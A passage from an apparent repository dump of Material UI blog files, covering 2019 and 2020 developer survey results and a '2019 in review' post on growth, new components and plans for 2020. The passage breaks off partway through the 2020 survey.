Non-specific\n  - 21 Date picker\n  - 10 Autocomplete\n  - 9 Layout\n  - 8 Table++\n  - 5 Carousel\n  - 5 Slider\n  - 3 Video\n  - 2 Calendar\n  - 2 Menu nesting\n  - 2 List - draggable\n  - 1 Tree view\n  - 1 Color picker\n  - 1 Dense mode\n  - 1 For landing pages\n  - 1 Group avatar\n  - 1 Image gallery\n  - 1 Image picker\n  - 1 Menu - dropdown\n  - 1 Mobile\n  - 1 Rating\n  - 1 Timeline\n  - 1 Transfer\n\n- 50 **Better customization:**\n  - 23 Non-specific\n  - 15 Docs\n  - 8 Easier\n  - 3 Theme\n  - 1 Colors\n\n- 36 **Better documentation:**\n  - 11 Non-specific\n  - 7 More examples\n  - 5 Beginner tutorials\n  - 4 Video lessons\n  - 2 API pages\n  - 2 Icon explorer\n  - 1 Best practices\n  - 1 Customization\n  - 1 Global CSS\n  - 1 Demo source scroll issue\n  - 1 Server-side rendering\n\n- 31 **TypeScript:**\n  - 14 Non-specific\n  - 13 Migrate more demos\n  - 3 withStyles -> makeStyles\n  - 1 Rewrite\n\n- 24 **Performance:**\n  - 23 Non-specific\n  - 1 Table\n\n- 19 **Bundle size**\n- 17 **Material Design Update**\n- 16 **styled-components:**\n  - 10 Support\n  - 6 Migration\n\n- 14 **Fewer breaking changes**\n- 10 **More page layout examples**\n- 9 **Theme:**\n  - 3 More colors\n  - 3 Live editor\n  - 1 Non-material font example\n  - 2 Responsive typography\n\n- 8 **React.StrictMode support**\n- 8 **React Native support**\n- 6 **Accessibility:**\n  - 4 Non specific\n  - 1 Docs\n  - 1 SkipNav\n\n- 6 **Hooks at 100%**\n- 4 **Animations**\n- 4 **Long Term Support**\n- 4 **Simplification**\n- 3 **Gatsby plugin**\n- 3 **i18n**\n- 3 **Premium themes**\n- 3 **Showcase, design inspiration**\n- 2 **Clear Roadmap**\n- 2 **Preact support**\n- 2 **Simpler: closer to DOM nodes**\n- 2 **Styleless components**\n- 1 **Web component integration example**\n- 1 **Collect user feedback**\n- 1 **Non-Material Design theme example**\n- 1 **Right to left**\n- 1 **Storybook addons**\n- 1 **Styles: better docs**\n- 1 **Testing**\n\n### 5. How likely is it that you would recommend Material UI to a friend or colleague?\n\n<figure style=\"margin-inline-start: 0;\">\n  <img src=\"/static/blog/2019-developer-survey-results/5a.png\" style=\"display: block; margin: 0 auto;\" alt=\"Bar chart of raw data\" />\n  <figcaption style=\"font-style: italic; text-align: center;\">Raw data.</figcaption>\n</figure>\n<br />\n<figure style=\"margin-inline-start: 0;\">\n<img style=\"display: block; margin: 0 auto;\" src=\"/static/blog/2019-developer-survey-results/5b.png\" style=\"display: block; margin: 0 auto;\" alt=\"Pie chart: 70.6% promoters, 24.8% neutrals, 4.6% detractors\" />\n  <figcaption style=\"font-style: italic; text-align: center;\">Result.</figcaption>\n</figure>\n\nDevelopers gave Material UI a [Net Promoter Score](https://en.wikipedia.org/wiki/Net_Promoter)\n(promoters less detractors) of 66%. Given the NPS range of -100 to +100, a \"positive\" score or NPS\nabove 0 is considered \"good\", +50 is \"Excellent\", and above 70 is considered \"world class.\"\n\n## About you\n\n### 6. How did you hear about Material UI?\n\nMultiple options were allowed.\n\n| Channel(s)                  | Number |\n| :-------------------------- | -----: |\n| Search                      |    344 |\n| Word of mouth               |    112 |\n| Search, Word of mouth       |     47 |\n| Search, Social              |     25 |\n| Social                      |     22 |\n| Blog                        |     14 |\n| Search, Word of mouth, Blog |     11 |\n\n<br /><br />\n<img src=\"/static/blog/2019-developer-survey-results/6.png\" style=\"display: block; margin: 0 auto;\" alt=\"Bar chart: 74.3% search, 29.6% word of mouth, 8.2% Social, 4.3% blog.\" />\n\n### 7. Which of the following best describes your current job role?\n\n<img src=\"/static/blog/2019-developer-survey-results/7.png\" style=\"display: block; margin: 0 auto;\" alt=\"Bar chart: 358 Full-stack developers, 189 Frontend developers, 103 Entrepreneurs, 31 Beginners, 42 Other\" />\n\nNo huge surprises here!\n\n### 8. How big is your organization?\n\n<img  src=\"/static/blog/2019-developer-survey-results/8.png\" style=\"display: block; margin: 0 auto;\" alt=\"Bar chart: 61 Hobby, 98 Self-employed, 181 x 2-10, 167 x 11-50, 126 x 51-500, 89 x 500 +\" />\n\nMaterial UI is most popular with small to medium sized organisations,\nperhaps because beyond a certain size, organizations have teams building their own design system and framework.\nWe want to continue to make it easy to use the component logic of Material UI while allowing\ndesigners to give it a bespoke look and feel for their organization.\n\n### 9. How long have you been developing with JavaScript\n\n<img src=\"/static/blog/2019-developer-survey-results/9.png\" style=\"display: block; margin: 0 auto;\" alt=\"Bar chart: 26 x I'm just getting started!, 43 x 6 months +, 150 x 1 year +, 179 x 3 years +, 155 x 5 years, 82 x 10 years +, 47 x 15 years +\" />\n\nA nice bell curve, with the majority of developers having 1 to 5 years experience with JavaScript.\n\n### 10. How long have you been developing with React?\n\n<img src=\"/static/blog/2019-developer-survey-results/10.png\" style=\"display: block; margin: 0 auto;\" alt=\"Bar chart: 99 x I'm just getting started!, 77 x 6 months +, 301 x 1 year +, 171 x 3 years +, 32 x 5 years - bleeding edge baby!\" />\n\n### 11. How long have you been developing with Material UI?\n\n<img src=\"/static/blog/2019-developer-survey-results/11.png\" style=\"display: block; margin: 0 auto;\" alt=\"Bar chart: 160 x I'm just getting started!, 147 x 6 months +, 293 x 1 year +, 71 x 3 years +, 11 x Four years + – I'm a pioneer!\" />\n\nWe missed a trick by not including \"2 years +\" here, so \"1 year +\" looks stacked.\nThe number of users of Material UI continues to grow at a steady pace, and once on board, many\ndevelopers stick with it.\n\n### 12. What were you primarily using before Material UI?\n\n<img src=\"/static/blog/2019-developer-survey-results/12.png\" style=\"display: block; margin: 0 auto;\" alt=\"Bar chart: 55% Bootstrap, 18% Custom, 12% Other, 7% Semantic-IU, 6% Materialize, 3% React Toolbox\" />\n\nGiven its relative popularity, and the move from CSS / HTML / jQuery towards front-end frameworks,\nit should come as no big surprise to see that the majority of respondents were previously using Bootstrap.\nCustom solutions have also been replaced by Material UI as your go-to UI library, along with a\nlong-tail of other frameworks.\n\n### 13. How many Material UI based projects have you built?\n\n<img src=\"/static/blog/2019-developer-survey-results/13.png\" style=\"display: block; margin: 0 auto;\" alt=\"Pie chart: 10.7% I'm just getting started, 23.5% 1, 52.5% 2-5, 11.1% 6-10, 2.2% 10+\" />\n\nOver three quarters of you have built two or more projects with Material UI, with 13.3% having six\nor more projects under your belt. The 2.2% with ten or more, we salute you!\n\n## Your product\n\n### 14. What are you building?\n\nMultiple options were allowed.\n\n- Dashboard & admin: 70%\n- UI components (design system): 40%\n- Business & corporate pages: 35%\n- Landing pages (product): 33%\n- e-commerce: 14%\n- Portfolio & resume: 12%\n- Blog: 8%\n\nDashboards are at the top of the heap, and we've long known that many of you are building internal\nsystems that can't feature in [the showcase](/material-ui/discover-more/showcase/). Let us know by opening a PR\nif you're bucking that trend, and have something sparkly to share! And if you're in the 40% building UI\ncomponents, we'd be happy to give you a shout out in the [related projects](/material-ui/discover-more/related-projects/)\nsection.\n\n### 15. What \"delivery mechanism\" are you using?\n\nMultiple options were allowed.\n\n- Web app (for example create react app): 92%\n- Progressive web app (with service worker): 25%\n- Server-side rendering 14%\n- Static web site, hosted on a CDN (for example Gatsby): 13%\n- Desktop app (for example Electron): 12%\n- Native mobile app (for example Cordova): 6%\n\n### 16. Who are you building it for?\n\n<img src=\"/static/blog/2019-developer-survey-results/16.png\" style=\"display: block; margin: 0 auto;\" alt=\"Pie chart: 54,3% for my company, 24.9% for a client, 15.2% as a side project, 5.6% more than one of these.\" />\n\n### 17. Which JavaScript framework are you using, if any?\n\nMultiple options were allowed.\n\n- Create React App: 75%\n- none: 17%\n- Next.js: 12%\n- Gatsby: 8%\n\nServer-side rendering isn't yet very popular.\nAs the React ecosystem matures, we might see a big push of server-side rendering in the coming months.\n\n### 18. What styling system are you using?\n\nMultiple options were allowed.\n\n- @mui/styles: 85%\n- Styled components: 30%\n- Good old CSS (+sass, less, etc): 24%\n- CSS Modules (+sass, less, etc): 16%\n- Emotion: 4%\n\nTraditional CSS users are still prevalent (24% + 16%).\nThe components customization `classes` API was designed for these people.\nIt's also why we allow the generation of deterministic class names (_MuiButton-root_ instead of _jss113_).\n\nHowever, styled components is popular. We will work on better supporting it.\n\n## Conclusion\n\nThis data is **incredibly valuable** for our team.\nAgain, thank you for participating!\nWe want to work on the problems that resonate the most with our users.\n[It's clear](#4-how-can-we-improve-material-ui-for-you) that we should:\n\n1. Support more components\n2. Improve the customization\n3. Improve the documentation\n4. Improve the static typings\n5. Reduce the overhead of the library\n\n**We will update [our ROADMAP](/material-ui/discover-more/roadmap/) in the coming days**.\nWe will run a similar survey next year to keep track of our progress.\n\nIf you want to continue to influence our roadmap, please upvote 👍 the issues you are the most interested in on GitHub.\n\n<video autoplay muted loop playsinline width=\"2914\" height=\"1440\">\n  <source src=\"/static/blog/2019-developer-survey-results/vote.mp4\" type=\"video/mp4\" />\n</video>\n\n<p class=\"blog-description\">Help us prioritize by upvoting.</p>\n"
  },
  {
    "path": "docs/pages/blog/2019.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './2019.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/2019.md",
    "content": "---\ntitle: 2019 in review and beyond\ndate: 2020-01-25T00:00:00.000Z\ndescription: 2019 was a great year for Material UI. It puts us on an exciting path to solve even greater challenges in the coming years!\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\n2019 was a great year for Material UI.\nIt puts us on an exciting path to solve even greater challenges in the coming years!\n\n## Growth\n\nIt's only with your trust that we could achieve the following outcomes in 2019. Thank you!\n\n- 📦 From 2.2M to [3.2M](https://npm-stat.com/charts.html?package=%40material-ui%2Fcore&from=2018-11-30&to=2019-12-31) downloads per month (from 13% to [14%](https://docs.google.com/spreadsheets/d/1l5j3Xjtvm9XZtmb4ulLiWElQaXSlZlyCWT5ONrQMpBo/edit?usp=sharing) share of the React ecosystem).\n- 📈 From 1.6M to 3.1M unique visitors per year on the documentation.\n- ⭐️ From 43.1k to 53.3k stars, leave us [yours 🌟](https://github.com/mui/material-ui).\n- 👨‍👩‍👧‍👦 From 1,064 to [1,581](https://github.com/mui/material-ui/graphs/contributors) contributors.\n- 💰 Grew financial support by 1.76X in 2019, compared to 2018.\n- 🏢 From 1.5 to 3 full-time equivalent developers, spread among multiple financially supported [core team members](/about/).\n\nThe numbers speak for themselves. 2019 was super exciting and made Material UI one of the most advanced open-source, React-based, UI component libraries!\n\n## In review\n\nWhen we started 2019, we were celebrating the launch of the **first stable release** of the framework and iterating to polish it (looking at the list of breaking changes, v3 is almost identical to v1).\nWe thought we were almost done, and that we had done the hardest part with the release of the stable version. All we would need to do going forward was to keep up with the Material Design guidelines and fix a couple of bugs.\n\nWe soon realized that we could do way more. It was just the beginning :D.\nSome of the key factors:\n\n- The results of the [2019 Developer Survey](https://mui.com/blog/2019-developer-survey-results/) have highlighted the immense potential for working on advanced components and features, especially for enterprise users.\n  Developers are craving for a UI framework that they can learn once (for example few breaking changes, only one solution per problem) and use everywhere (for example comprehensive, customizable, high-quality).\n- Bootstrap had successfully released [a theme store](https://themes.getbootstrap.com/).\n  Following this approach opened an opportunity to capture a fraction of the value Material UI creates for its users, and funnel it back into R&D on the framework.\n- The market for paid UI components is in the order of a couple of \\$100m/year,\n  with dozens of companies positioned in this market.\n  While React is only one technology among many (jQuery, Angular, ASP.NET, Blazor, Vue, WPF, UWP, etc) with which to build a UI, but we believe that Web and React will become the dominant technology in the next 5 years for enterprises. Material UI is uniquely positioned to address this market with non-MIT features.\n- Building UIs should be simpler, it still too slow and complex.\n  Designers and developers should benefit from a more integrated experience.\n- Every now and then, we witness the appearance of a new React UI component library built from scratch ([UXPin](https://adele.uxpin.com/) keeps track of some of them).\n  And every time we asked ourselves, \"what could have we done differently to empower this library\"?\n  We believe that starting from scratch, while maximizing freedom, is incredibly inefficient.\n  Most UI libraries need the same features but are implemented with a wide spectrum of accessibility, developer experience, and overall design quality.\n  We won't rest until we successfully unify these efforts. It's a long-term mission and will probably take years. The foundation will be the release of an un-styled version of our components.\n\n## Achievements\n\n- We have released [v4](/blog/material-ui-v4-is-out/).\n- We have introduced many new components (some in the core, some in the lab):\n  - [Autocomplete](/material-ui/react-autocomplete/)\n  - [Backdrop](/material-ui/react-backdrop/)\n  - [Breadcrumbs](/material-ui/react-breadcrumbs/)\n  - [ButtonGroup](/material-ui/react-button-group/)\n  - [Container](/material-ui/react-container/)\n  - [Link](/material-ui/react-link/)\n  - [Rating](/material-ui/react-rating/)\n  - [Skeleton](/material-ui/react-skeleton/)\n  - [Slider](/material-ui/react-slider/)\n  - [TextareaAutosize](/material-ui/react-textarea-autosize/)\n  - [TreeView](/x/react-tree-view/)\n- We have fixed a significant number of [accessibility issues](https://github.com/mui/material-ui/issues?q=is%3Aissue+label%3Aaccessibility+is%3Aclosed).\n- We have introduced global class names.\n- We have migrated the whole codebase to hooks.\n- We migrated all the demos to TypeScript (while also offering transpiled JavaScript demos).\n- We introduced [native tree-shaking](/material-ui/guides/minimizing-bundle-size/) support.\n- We introduced [built-in localization](/material-ui/guides/localization/).\n- We removed a good number of external dependencies and increased the `features/bundle size` density.\n- We introduced an [icon search page](/material-ui/material-icons/).\n- We released a [store for MUI](https://mui.com/store/).\n\n## Looking at 2020\n\n2019 was great, 2020 is going to be even more exciting!\nWe will continue in the same direction.\n\n### Survey\n\nThe Developer Survey we ran [last year](/blog/2019-developer-survey-results/) was so insightful that we plan to run it every year.\nIt's a great opportunity for us to adjust the strategy and to pause to analyze the outcome of the actions we took in the previous year.\n\n### Open source roadmap\n\nMost of the time we work in the open. Here's our [public roadmap](/material-ui/discover-more/roadmap/).\nWe plan to release a new major around the end of the year (v5).\nWe will promote components that are in the lab to the core, migrate to styled-components, and more.\n\n### Store\n\nWe will increase the depth of content available with more themes and templates.\nWe have recently released a Sketch design library, and are planning to support Figma, and Adobe XD too.\nFor Framer, we have made the key components available as a Framer package.\n\n### Enterprise\n\nWe plan to release an enterprise-class offering, starting with the data grid.\nEnterprise features will build on the open-source version of the components.\n\n### Hiring\n\nWe are looking for a full-time Software Developer to join us!\n\nIf you want to help us onboard more full-time developers in the team, [here are a couple of ways](/material-ui/getting-started/faq/#mui-is-an-awesome-organization-how-can-i-support-it).\nSpreading the word to other developers who are looking for a great UI framework is also extremely helpful 🙌.\n"
  },
  {
    "path": "docs/pages/blog/2020-developer-survey-results.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './2020-developer-survey-results.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/2020-developer-survey-results.md",
    "content": "---\ntitle: \"The 2020 Material UI Developer Survey: here's what we discovered\"\ndescription: Your feedback helps us to build better products. Here's what we learned about your needs in our annual survey.\ndate: 2020-06-27T00:00:00.000Z\nauthors: ['mnajdova', 'oliviertassinari', 'mbrookes']\ntags: ['Developer Survey']\nmanualCard: true\n---\n\nContinuing the tradition from last year, we launched a Developer Survey a few months ago, to which we received 1488 responses. This is twice as many as last year (734), so we thank you all for your participation!\nThe survey is closed and we can now give a detailed summary of the results.\n\nLike last year, the survey was again broken into three sections: [\"Introduction\"](#introduction), [\"About you\"](#about-you) and [\"Your product\"](#your-product).\n\n## Introduction\n\nIn this section, we wanted to hear what developers think is going well, what we should keep doing, and which areas need improving to make the library even better.\n\n### 1. How would you feel if you could no longer use Material UI?\n\n<img src=\"/static/blog/2020-survey/1.png\" style=\"width: 796px; margin-top: 16px; margin-bottom: 16px;\" alt=\"Pie chart: 73.3% Very disappointed, 21.3% somewhat disappointed, 5.4% not disappointed.\" />\n\nSimilar to last year, over 94% of the respondents would be disappointed if they could no longer use Material UI, which is very encouraging. We will keep working hard to hopefully move more of you into the \"very disappointed\" category!\n\nThe number of respondents who would not be disappointed has moved down from 6.5% to 5.4%, which is technically a 17% improvement! 🙂 We'd love to understand more about those who use Material UI, but would happily use other solutions, so a follow-up question might be needed next year.\n\n### 2. How likely is it that you would recommend Material UI to a friend or colleague?\n\n<img src=\"/static/blog/2020-survey/2a.png\" style=\"width: 796px; margin-top: 16px; margin-bottom: 8px;\" alt=\"Bar chart: 0.20% - 1, 0% - 2, 0.20% - 3, 0.20% - 4, 1.02% - 5, 1.97% - 6, 8.71% - 7, 22.52% - 8, 20.88% - 9, 44.29% - 10\" />\n<img src=\"/static/blog/2020-survey/2b.png\" style=\"width: 796px; margin-top: 16px; margin-bottom: 16px;\" alt=\"Pie chart: 73.3% Very disappointed, 21.3% somewhat disappointed, 5.4% not disappointed.\" />\n\nAs last year, we again calculated the [Net Promoter Score](https://en.wikipedia.org/wiki/Net_Promoter)\n(promoters less detractors). This year it is again a pretty high number 61.54%! (As the values for NPS range between -100 and +100, a \"positive\" score is considered \"good\", greater than 50 is \"excellent\", and above 70 is considered \"world class\").\n\n### 3. Who do you think would most benefit from Material UI?\n\n<img src=\"/static/blog/2020-survey/3.png\" style=\"width: 796px; margin-top: 16px; margin-bottom: 16px;\" alt=\"Word cloud of who would benefit most\" />\n\n<p class=\"blog-description\">This word cloud was generated with wordclouds.com.</p>\n\nDevelopers are again at the center of our universe 🙂 (And \"people\" and \"teams\" in general, of course!) This is understandable, given the [job role demographic](#8-which-of-the-following-best-describes-your-current-job-role)\nof the majority of respondents. We will push hard on making the experience for you even better over the next year.\n\n### 4. What is the main benefit you receive from Material UI?\n\n<img src=\"/static/blog/2020-survey/4.png\" style=\"width: 796px; margin-top: 16px; margin-bottom: 16px;\" alt=\"Word cloud of the main benefit of Material UI\" />\n\nThe responses to this question are a very clear indicator to us about what we need to continue to do more of. Some of the most common points were: the range of components, ease of use, documentation quality, as well as the design. We will, of course, continue to work on all of these.\n\n### 5. How can we improve Material UI for you?\n\nAs the answers to these questions were pretty different, we grouped them into different categories and counted the different number of times the concern was mentioned. You can see all of them sorted in descending order:\n\n<!-- vale MUI.CorrectReferenceAllCases = NO -->\n\n<style>th { text-align: left; border-bottom: 3px solid !important; }</style>\n\n<table>\n  <tr><th style=\"width: 40px;\">306</th><th style=\"width: 700px;\">more components</th></tr>\n  <tr><td>202</td><td>more components - ?</td></tr>\n  <tr><td>15</td><td>more components - data grid</td></tr>\n  <tr><td>12</td><td>more components - carousel</td></tr>\n  <tr><td>12</td><td>more components - charts</td></tr>\n  <tr><td>10</td><td>more components - lab to core</td></tr>\n  <tr><td>10</td><td>more components - upload</td></tr>\n  <tr><td>9</td><td>more components - icons</td></tr>\n  <tr><td>6</td><td>more components - big calendar</td></tr>\n  <tr><td>5</td><td>more components - layout</td></tr>\n  <tr><td>4</td><td>more components - navbar</td></tr>\n  <tr><td>4</td><td>more components - nested menu</td></tr>\n  <tr><td>2</td><td>more components - rich text editor</td></tr>\n  <tr><td>2</td><td>more components - splitter</td></tr>\n  <tr><td>1</td><td>more components - masonry</td></tr>\n  <tr><td>1</td><td>more components - nav bar</td></tr>\n  <tr><td>1</td><td>more components - numberpad</td></tr>\n  <tr><td>1</td><td>more components - onboarding</td></tr>\n  <tr><td>1</td><td>more components - prompt</td></tr>\n  <tr><td>1</td><td>more components - scrollspy</td></tr>\n  <tr><td>1</td><td>more components - swappable tabs</td></tr>\n  <tr><td>1</td><td>more components - timeline</td></tr>\n  <tr><td>1</td><td>more components - video player</td></tr>\n  <tr><td>1</td><td>more components - virtualization</td></tr>\n  <tr><td>1</td><td>more components - drag and drop</td></tr>\n  <tr><td>1</td><td>more components - dropdown</td></tr>\n  <tr><td>1</td><td>more components - image</td></tr>\n  <tr><th>189</th><th>customization</th></tr>\n  <tr><td>85</td><td>customization - easier</td></tr>\n  <tr><td>22</td><td>customization - docs</td></tr>\n  <tr><td>16</td><td>customization - dynamic color & variant</td></tr>\n  <tr><td>15</td><td>customization - improve custom themes</td></tr>\n  <tr><td>13</td><td>customization - provide more themes (not just Material Design)</td></tr>\n  <tr><td>11</td><td>customization - ?</td></tr>\n  <tr><td>9</td><td>customization - unstyled components</td></tr>\n  <tr><td>8</td><td>customization - support system in all components</td></tr>\n  <tr><td>8</td><td>customization - theme editor (visual tool)</td></tr>\n  <tr><td>2</td><td>customization - theme gallery (coming from the community)</td></tr>\n  <tr><th>155</th><th>docs</th></tr>\n  <tr><td>46</td><td>docs - ?</td></tr>\n  <tr><td>45</td><td>docs - more examples</td></tr>\n  <tr><td>33</td><td>docs - more templates</td></tr>\n  <tr><td>16</td><td>docs - beginner friendly</td></tr>\n  <tr><td>8</td><td>docs - smaller demos</td></tr>\n  <tr><td>8</td><td>docs - tutorials</td></tr>\n  <tr><td>3</td><td>docs - api integration with components</td></tr>\n  <tr><td>2</td><td>docs - better search</td></tr>\n  <tr><td>2</td><td>docs - spanish</td></tr>\n  <tr><td>1</td><td>docs - chinese</td></tr>\n  <tr><td>1</td><td>docs - translations</td></tr>\n  <tr><td>1</td><td>docs - detailed api</td></tr>\n  <tr><td>1</td><td>docs - easier discoverability of components</td></tr>\n  <tr><td>1</td><td>docs - generated DOM</td></tr>\n  <tr><td>1</td><td>docs - japanese</td></tr>\n  <tr><td>1</td><td>docs - more realistic examples</td></tr>\n  <tr><td>1</td><td>docs - nested props</td></tr>\n  <tr><td>1</td><td>docs - plugins</td></tr>\n  <tr><td>1</td><td>docs - ssr</td></tr>\n  <tr><th>64</th><th>performance</th></tr>\n  <tr><td>31</td><td>performance - ?</td></tr>\n  <tr><td>32</td><td>performance - bundle size</td></tr>\n  <tr><td>1</td><td>performance - DOM size</td></tr>\n  <tr><th>56</th><th>styles</th></tr>\n  <tr><td>19</td><td>styles - styled components</td></tr>\n  <tr><td>7</td><td>styles - docs</td></tr>\n  <tr><td>5</td><td>styles - simpler</td></tr>\n  <tr><td>4</td><td>styles - ?</td></tr>\n  <tr><td>3</td><td>styles - CSS syntax</td></tr>\n  <tr><td>3</td><td>styles - better dark/light switch</td></tr>\n  <tr><td>3</td><td>styles - emotion</td></tr>\n  <tr><td>3</td><td>styles - performance</td></tr>\n  <tr><td>2</td><td>styles - agnostic to engine</td></tr>\n  <tr><td>2</td><td>styles - CSS modules</td></tr>\n  <tr><td>2</td><td>styles - utility class names</td></tr>\n  <tr><td>1</td><td>styles - atomic compiled CSS-in-JS</td></tr>\n  <tr><td>1</td><td>styles - keep jss</td></tr>\n  <tr><td>1</td><td>styles - remove JSS</td></tr>\n  <tr><th>25</th><th>typescript</th></tr>\n  <tr><td>19</td><td>typescript - ?</td></tr>\n  <tr><td>3</td><td>typescript - docs</td></tr>\n  <tr><td>3</td><td>typescript - faster check</td></tr>\n  <tr><th>21</th><th>date picker - improve</th></tr>\n  <tr><th>19</th><th>react native</th></tr>\n  <tr><th>13</th><th>form</th></tr>\n  <tr><th>13</th><th>material design updates</th></tr>\n  <tr><th>12</th><th>animations</th></tr>\n  <tr><td>8</td><td>animations - ?</td></tr>\n  <tr><td>2</td><td>animations - docs</td></tr>\n  <tr><td>1</td><td>animations - declarative API</td></tr>\n  <tr><td>1</td><td>animations - SVG</td></tr>\n  <tr><th>11</th><th>test</th></tr>\n  <tr><td>4</td><td>test - jest</td></tr>\n  <tr><td>3</td><td>test - stable snapshot</td></tr>\n  <tr><td>1</td><td>test - ?</td></tr>\n  <tr><td>1</td><td>test - docs</td></tr>\n  <tr><td>1</td><td>test - styles</td></tr>\n  <tr><td>1</td><td>test - testing library integration</td></tr>\n  <tr><th>8</th><th>more opinionated</th></tr>\n  <tr><th>8</th><th>simplify</th></tr>\n  <tr><th>7</th><th>class components</th></tr>\n  <tr><th>7</th><th>mobile</th></tr>\n  <tr><th>7</th><th>fewer breaking changes</th></tr>\n  <tr><th>7</th><th>designers</th></tr>\n  <tr><td>2</td><td>designers - bridge design tools and code</td></tr>\n  <tr><td>2</td><td>designers - Adobe XD material</td></tr>\n  <tr><td>2</td><td>designers - Figma material</td></tr>\n  <tr><td>1</td><td>designers - ?</td></tr>\n  <tr><th>6</th><th>free vs paid balance</th></tr>\n  <tr><th>6</th><th>tree view - improve</th></tr>\n  <tr><th>6</th><th>less abstracted components</th></tr>\n  <tr><th>5</th><th>more abstracted components</th></tr>\n  <tr><th>4</th><th>accessibility</th></tr>\n  <tr><td>1</td><td>accessibility - ?</td></tr>\n  <tr><td>1</td><td>accessibility - auto id</td></tr>\n  <tr><td>1</td><td>accessibility - full audit</td></tr>\n  <tr><td>1</td><td>accessibility - more examples</td></tr>\n  <tr><th>4</th><th>system</th></tr>\n  <tr><td>1</td><td>system - CSS grid</td></tr>\n  <tr><td>1</td><td>system - docs</td></tr>\n  <tr><td>1</td><td>system - performance</td></tr>\n  <tr><td>1</td><td>system - rework breakpoints</td></tr>\n  <tr><th>3</th><th>components consistency</th></tr>\n  <tr><th>3</th><th>grid - improve</th></tr>\n</table>\n\n<!-- vale MUI.CorrectReferenceAllCases = YES -->\n\n### Comparison with last year\n\nThere are a couple of noticeable differences compared to last year.\nSome can be explained by our work, others by the evolution of the ecosystem.\nEach item is prefixed by the multiplication factor of the pain point for 2020 relative to 2019.\n\nDecreasing pain:\n\n- x0: Slider. No requests. The requirements are mostly met, especially with the introduction of the range feature.\n- x0.1: Strict mode. We fixed a lot of strict mode compatibility issues this year. However, since Create React App has made this mode a default, we have seen a lot more requests for it.\n- x0.1: Autocomplete. We added a new component, and have resolved a large number of issues opened since. This will be moved from lab to the core in v5.\n- x0.2: Fewer breaking changes. Only releasing minor versions under v4 for over a year helps a lot. However, we still need to be careful with CSS changes.\n- x0.3: Accessibility. We have been able to leverage GitHub issues opened by a11y experts, often coming from large companies using Material UI at scale to improve it a lot this year.\n- x0.4: Material Design. We didn't do much for it this year, at least not as much as we could have. Maybe the reduction is because fewer people care? It seems that we start to resonate more with developers building custom design systems.\n- x0.4: TypeScript. The continued migration of all the demos to TypeScript and of all the props to IntelliSense is paying off.\n- x0.5: Date picker. We did a lot for it this year. We probably still need the range feature, and to move it into the main repository (docs migration, etc.) for consistency.\n- x0.7: Performance. We didn't do much this year, so perhaps developers are leveraging React more effectively with virtualization, update pruning, etc?\n\nGrowing pains:\n\n- ∞: Forms is a new item. It seems that we should at least work more closely with react-hook-form, formik, and react-final-form.\n- ∞: Charts is a new item. Material Design even has a page dedicated to [date visualization](https://m2.material.io/design/communication/data-visualization.html).\n- x5: Custom themes.\n- x5: Simpler customization. We have improved customizability this year by introducing global class names and reducing the CSS specificity of some selectors. However, it seems that we are now tapping into a new audience. We need to do better.\n- x1.5: Animations.\n- x1.2: React native. We still have no plans for it. The [market is too small](https://npm-stat.com/charts.html?package=react-dom,react-native) to make it sustainable with our model.\n- x1.1: More components. The more we offer, the more developers ask for! We will try to help solve this with the enterprise version, both because it's the best model we have found that can sustain the development of advanced components, and because it allows us to reinvest in the open source components. The first early access will land this year.\n\n### 6. What are your key criteria when choosing a UI library?\n\n<img src=\"/static/blog/2020-survey/6.png\" style=\"width: 796px; margin-top: 16px; margin-bottom: 8px;\" alt=\"Bar chart: 21.99% The design, look & feel, 21.64% Documentation quality, 16.38% Customizability, 8.42% TypeScript integration, 6.89% Comprehensiveness, 5.35% Enterprise ready, 4.68% Bundle size, 4.92% Popularity, 4.45% Accessibility, 2.62% Documentation quality, 1.88% Offered support & help, 0.12% Performance, 0.67% Other.\" />\n\nThe number of answers was limited to 3.\n\n## About you\n\n### 7. How did you hear about Material UI?\n\n<img src=\"/static/blog/2020-survey/7.png\" style=\"width: 796px; margin-top: 16px; margin-bottom: 8px;\" alt=\"Bar chart: 50.65% Search, 26.18% Word of mouth, 10.76% Social, 5.10% Blog, 7.31% Other.\" />\n\n### 8. Which of the following best describes your current job role?\n\n<img src=\"/static/blog/2020-survey/8.png\" style=\"width: 796px; margin-top: 16px; margin-bottom: 8px;\" alt=\"Bar chart: 52.18% Full-stack developer, 27.11% Frontend developer, 11.65% Entrepreneur (I do it all), 3.47% Beginner learning web development, 1.23% Backend Developer, 1.16% UX Designer, 0.34% Student, 0.20% CTO, 2.66% Other.\" />\n\nThis was expected :)\n\n### 9. How big is your organization?\n\n<img  src=\"/static/blog/2020-survey/9.png\" style=\"width: 796px; margin-top: 16px; margin-bottom: 8px;\" alt=\"Bar chart: 12.30% Hobby / side project, 13.40% Self-employed, 35.60% 2-5 people, 16.10% 6-10, 10.30% 11-20, 5.10% 21-50, 2.50% 51-100, 4.60% 100+\" />\n\nIt seems we are consistently popular with small to medium-sized organizations, so we will keep working on the ease of use of the components, while at the same time, allowing designers to style them to match their organizations' brand.\n\n### 10. How long have you been developing with JavaScript\n\n<img src=\"/static/blog/2020-survey/10.png\" style=\"width: 796px; margin-top: 16px; margin-bottom: 8px;\" alt=\"Bar chart: 3.60% I'm just getting started!, 7.40% 6 months +, 20.80% 1 year +, 27.80% 3 years +, 24.30% 5 years +, 9.80% 10 years +, 4.10% 15 years +, 2.30% 20 years +\" />\n\nWe can see the normal distribution of developer experience here, where most have moderate level of experience (between 1 and 5 years).\n\n### 11. How long have you been developing with React?\n\n<img src=\"/static/blog/2020-survey/11.png\" style=\"width: 796px; margin-top: 16px; margin-bottom: 8px;\" alt=\"Bar chart: 10.70% I'm just getting started!, 15.60% 6 months +, 24.60% 1 year +, 21.40% 2 years +, 23.10% 3 years +, 4.60% Bleeding edge baby! 5 years +\" />\n\n### 12. How long have you been developing with Material UI?\n\n<img src=\"/static/blog/2020-survey/12.png\" style=\"width: 796px; margin-top: 16px; margin-bottom: 8px;\" alt=\"Bar chart: 20.50% I'm just getting started!, 24.90% 6 months +, 28% 1 year +, 17.40% 2 years +, 7.50% 3 years +, 1.70% I'm a pioneer! 4 years +\" 